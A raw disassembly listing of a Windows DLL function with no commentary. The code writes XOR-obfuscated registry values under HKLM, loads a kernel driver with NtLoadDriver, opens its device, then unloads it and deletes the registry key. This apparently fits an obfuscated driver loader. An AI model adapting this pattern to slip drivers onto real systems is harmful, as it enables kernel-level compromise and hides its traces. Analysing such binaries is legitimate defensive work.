lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x1150]
call fcn.18000fe60
nop
lea rdx, [rbp + 0x1318]
lea rcx, [rbp + 0x1150]
call fcn.18000fde0
lea rcx, [rbp + 0x1150]
call fcn.18000fdd0
lea r8, [rbp + 0xf80]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x180004efa
mov rdx, qword [rbp + 0x1168]
cmp rdx, 0xf
jbe 0x180004ef2
inc rdx
mov rcx, qword [rbp + 0x1150]
cmp rdx, 0x1000
mov rax, rcx
jb 0x180004eed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000523f
call fcn.1800271e0
mov dil, 1
jmp 0x180005251
mov byte [rbp + 0x114a], 1
mov eax, dword [str.l_J_]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x18002acbc]
mov byte [rbp - 0x68], 0x54
xor byte [rbp - 0x67], 0x39
xor byte [rbp - 0x66], 0x3a
xor byte [rbp - 0x65], 0x3b
xor al, 0x3c
mov byte [rbp - 0x64], al
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x114a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x68]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180004eb1
mov byte [rbp + 0x1148], 3
movsd xmm0, qword [str.KHTNQQ43__D]
movsd qword [rbp + 0xc8], xmm0
mov eax, dword [0x18004ab10]
mov dword [rbp + 0xd0], eax
movzx eax, byte [0x18004ab14]
mov byte [rbp + 0xd4], al
mov r8d, ebx
cmp r15d, 2
jl 0x180005082
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.KHTNQQ43__D]
xorps xmm1, xmm0
movd dword [rbp + 0xc8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180005090
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1148]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0xc8]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180004eb1
mov byte [rbp + 0x1149], 3
mov eax, dword [str.kM_IH]
mov dword [rsp + 0x78], eax
movzx eax, word [0x18004a908]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x78], 0x53
xor byte [rsp + 0x79], 0x39
xor byte [rsp + 0x7a], 0x3a
xor byte [rsp + 0x7b], 0x3b
xor al, 0x3c
mov byte [rsp + 0x7c], al
xor byte [rsp + 0x7d], 0x3d
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x1149]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rsp + 0x78]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180004eb1
mov edx, dword [rdi + 0x10]
mov rcx, rdi
call fcn.18000fdd0
movsd xmm0, qword [str.qT_Ym_K_A]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x18004ac68]
mov word [rsp + 0x70], cx
cmp byte [0x18004ac69], 0
je 0x1800051cf
mov byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x39
xor byte [rsp + 0x6a], 0x3a
xor byte [rsp + 0x6b], 0x3b
xor byte [rsp + 0x6c], 0x3c
xor byte [rsp + 0x6d], 0x3d
xor byte [rsp + 0x6e], 0x3e
xor byte [rsp + 0x6f], 0x3f
xor byte [rsp + 0x70], 0x40
xor byte [rsp + 0x71], 0x41
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x180004eb1
mov rcx, qword [rbp + 0xf80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, eax
mov rdx, qword [rbp + 0x1168]
cmp rdx, 0xf
jbe 0x18000524b
inc rdx
mov rcx, qword [rbp + 0x1150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005246
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005246
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
test edi, edi
setne dil
mov byte [rbp + 0x1150], 0
movdqu xmmword [rbp + 0x1160], xmm13
mov rdx, qword [rbp + 0xa20]
cmp rdx, 0xf
jbe 0x1800052a5
inc rdx
mov rcx, qword [rbp + 0xa08]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800052a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800052a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0xa18], xmm13
mov byte [rbp + 0xa08], 0
mov rdx, qword [rbp + 0x798]
cmp rdx, 0xf
jbe 0x1800052f9
inc rdx
mov rcx, qword [rbp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800052f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800052f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x790], xmm13
mov byte [rbp + 0x780], 0
mov rdx, qword [rbp + 0xa00]
cmp rdx, 7
jbe 0x180005352
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x9e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000534d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000534d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x9f8], xmm15
mov word [rbp + 0x9e8], bx
mov rdx, qword [rbp + 0x9e0]
cmp rdx, 7
jbe 0x1800053a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x9c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005614
call fcn.1800271e0
movdqu xmmword [rbp + 0x9d8], xmm15
mov word [rbp + 0x9c8], bx
test dil, dil
je 0x1800053c4
mov edi, ebx
jmp 0x180005630
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0xa28], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0xa38], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0xa48], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0xa58], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0xa5c], al
mov r8d, ebx
cmp r15d, 2
jl 0x180005525
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0xa2c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x180005430
cmp r8d, 0x35
jge 0x180005573
movsxd rax, r8d
lea r9, [rbp + 0xa28]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x180005540
lea rdx, [rbp + 0xa28]
lea rcx, [rbp + 0x1440]
call fcn.18000fe60
nop
lea rdx, [rbp + 0x1318]
lea rcx, [rbp + 0x1440]
call fcn.18000fde0
lea rcx, [rbp + 0x1440]
call fcn.18000fdd0
mov rdx, rax
lea rcx, [rbp + 0x1570]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1570]
lea rcx, [rbp + 0x1580]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1580]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov edi, eax
mov rdx, qword [rbp + 0x1458]
cmp rdx, 0xf
jbe 0x180005620
inc rdx
mov rcx, qword [rbp + 0x1440]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000561b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000561b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1450], xmm13
mov byte [rbp + 0x1440], 0
mov dword [rbp + 0x1418], edi
lea rdx, [rbp + 0x1318]
lea rcx, [rbp + 0x1420]
call fcn.18000fea0
nop
lea rcx, [rbp + 0x18d0]
call fcn.1800032e0
nop
mov rdx, qword [rbp + 0x1478]
cmp rdx, 0xf
jbe 0x18000569b
inc rdx
mov rcx, qword [rbp + 0x1460]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005696
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005696
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1470], xmm13
mov byte [rbp + 0x1460], 0
mov rdx, qword [rbp + 0x1330]
cmp rdx, 0xf
jbe 0x1800056ef
inc rdx
mov rcx, qword [rbp + 0x1318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800056ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1328], xmm13
mov byte [rbp + 0x1318], 0
lea rcx, [rbp + 0x1380]
call fcn.18000eea0
nop
cmp dword [rbp + 0x1418], 0
je 0x1800057af
mov qword [rbp + 0x370], rbx
lea rcx, [rbp + 0x7a0]
call fcn.18000ffc0
nop
lea rax, [rbp + 0x1418]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x7a0]
lea r8, [rbp + 0x370]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1190]
call fcn.180011c20
nop
mov rdx, qword [rbp + 0x7b8]
cmp rdx, 0xf
jbe 0x18000579a
inc rdx
mov rcx, qword [rbp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005795
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000586a
call fcn.1800271e0
movdqu xmmword [rbp + 0x7b0], xmm13
mov byte [rbp + 0x7a0], 0
jmp 0x180005886
lea r8, [rbp + 0x1420]
lea rdx, str.._
lea rcx, [rbp + 0x1510]
call fcn.1800107f0
nop
lea rcx, [rbp + 0x1510]
call fcn.18000fdd0
mov rcx, rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x18008a2a0], rax
lea rax, [rbp + 0x1418]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1420]
lea r8, [0x18008a2a0]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x1190]
call fcn.180011c60
nop
mov rdx, qword [rbp + 0x1528]
cmp rdx, 0xf
jbe 0x180005876
inc rdx
mov rcx, qword [rbp + 0x1510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005871
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005871
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1520], xmm13
mov byte [rbp + 0x1510], 0
lea rcx, [rbp + 0x1418]
call fcn.1800033a0
nop
mov r8, qword [rbp + 0x11b8]
mov r10d, dword [rbp + 0x1190]
test r10d, r10d
jne 0x18000e6e0
cmp r8, 0xffffffffffffffff
je 0x18000e6e0
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_run_struct_startupData____ptr64_::_2::_lambda_10___bool__void____ptr64__void____ptr64__unsigned_long_long_unsigned___int64__.0
mov qword [rbp + 0x16b0], rax
lea rax, [rbp + 0x16b0]
mov qword [rbp + 0x16e8], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_run_struct_startupData____ptr64_::_2::_lambda_11___bool__void____ptr64__void____ptr64__unsigned_long_long_unsigned___int64__.0
mov qword [rbp + 0x1670], rax
lea rax, [rbp + 0x1670]
mov qword [rbp + 0x16a8], rax
lea r8, [rbp + 0x1670]
lea rdx, [rbp + 0x16b0]
lea rcx, [rbp + 0x11f0]
call fcn.180015a20
nop
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xf20]
call fcn.18000fea0
mov r8, rax
mov rdx, qword [rbp + 0x11b8]
lea rcx, [rbp + 0x11f0]
call fcn.180018870
test al, al
jne 0x18000617a
lea rdx, [rbp + 0x1198]
lea rcx, [rbp + 0xf00]
call fcn.18000fea0
mov r14, rax
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x11b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x180006127
movups xmm0, xmmword [str.dk_UNJM9]
movups xmmword [rbp + 0x8a0], xmm0
movups xmm1, xmmword [0x18002acd0]
movups xmmword [rbp + 0x8b0], xmm1
movups xmm0, xmmword [0x18002ace0]
movups xmmword [rbp + 0x8c0], xmm0
mov eax, dword [0x18002acf0]
mov dword [rbp + 0x8d0], eax
movzx eax, byte [0x18002acf4]
mov byte [rbp + 0x8d4], al
mov r8d, ebx
cmp r15d, 2
jl 0x180005ac5
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x8a4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1800059d0
cmp r8d, 0x35
jge 0x180005b13
movsxd rax, r8d
lea r9, [rbp + 0x8a0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x180005ae0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1278], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1288], xmm1
lea rax, [rbp + 0x8a0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180005b40
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x1278]
call fcn.180011280
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180005b6b
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x1278]
call fcn.180010440
lea rdx, [rbp + 0x1278]
cmp qword [rbp + 0x1290], 0xf
cmova rdx, qword [rbp + 0x1278]
lea rcx, [rbp + 0x1550]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x1540]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x1540]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
mov qword [rbp + 0xfb0], rbx
mov edx, dword [0x18008a250]
mov rax, qword gs:[0x58]
mov r13d, 4
mov rax, qword [rax + rdx*8]
lea rsi, [0x18008a2d8]
mov eax, dword [r13 + rax]
cmp dword [0x18008a29c], eax
jle 0x180005e04
lea rcx, [0x18008a29c]
call fcn.180027290
cmp dword [0x18008a29c], 0xffffffff
jne 0x180005e04
movups xmm0, xmmword [str.k_IOYPb5301]
movups xmmword [rbp + 0x440], xmm0
movups xmm1, xmmword [0x18004a9b0]
movups xmmword [rbp + 0x450], xmm1
movzx eax, word [0x18004a9c0]
mov word [rbp + 0x460], ax
movzx eax, byte [0x18004a9c2]
mov byte [rbp + 0x462], al
mov r8d, ebx
cmp r15d, 2
jl 0x180005d65
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x444]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x180005c70
cmp r8d, 0x23
jge 0x180005db3
movsxd rax, r8d
lea r9, [rbp + 0x440]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x180005d80
xorps xmm0, xmm0
movups xmmword [0x18008a2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x18008a2e8], xmm1
lea rax, [rbp + 0x440]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x180005dd0
mov r8, rdi
lea rdx, [rbp + 0x440]
mov rcx, rsi
call fcn.180011280
lea rcx, [0x180028f50]
call fcn.18002769c
nop
lea rcx, [0x18008a29c]
call fcn.180027224
cmp qword [0x18008a2f0], 0xf
cmova rsi, qword [0x18008a2d8]
lea r8, [rbp + 0xfb0]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180005e38
mov rdx, qword [r14]
mov rcx, qword [rbp + 0xfb0]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x180005e56
mov rcx, qword [rbp + 0xfb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x9a8]
call fcn.180003080
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x180005e70
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x680], rcx
mov qword [rbp + 0x688], rax
movups xmm6, xmmword [rbp + 0x680]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x5e0]
call fcn.1800104e0
nop
mov rdx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x180005eb4
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rbp + 0x5e0]
call fcn.180010440
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x698], rax
movups xmm6, xmmword [rbp + 0x690]
call fcn.180026890
movaps xmmword [rsp + 0x40], xmm6
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x290]
call fcn.180002340
nop
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 7
cmova rcx, qword [rbp + 0x290]
call fcn.180026f44
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x18000eb3a
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 7
jbe 0x180005fc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005fbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x2a0], xmm15
mov word [rbp + 0x290], bx
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x180006016
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006011
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006011
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1c0], xmm13
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x18000606a
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006065
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006065
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x5f0], xmm13
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x9c0]
cmp rdx, 7
jbe 0x1800060c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x9a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800060be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x9b8], xmm15
mov word [rbp + 0x9a8], bx
mov rdx, qword [rbp + 0x1290]
cmp rdx, 0xf
jbe 0x180006117
inc rdx
mov rcx, qword [rbp + 0x1278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006112
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006112
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800271e0
movdqu xmmword [rbp + 0x1288], xmm13
mov byte [rbp + 0x1278], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x180006161
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x18000615c
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
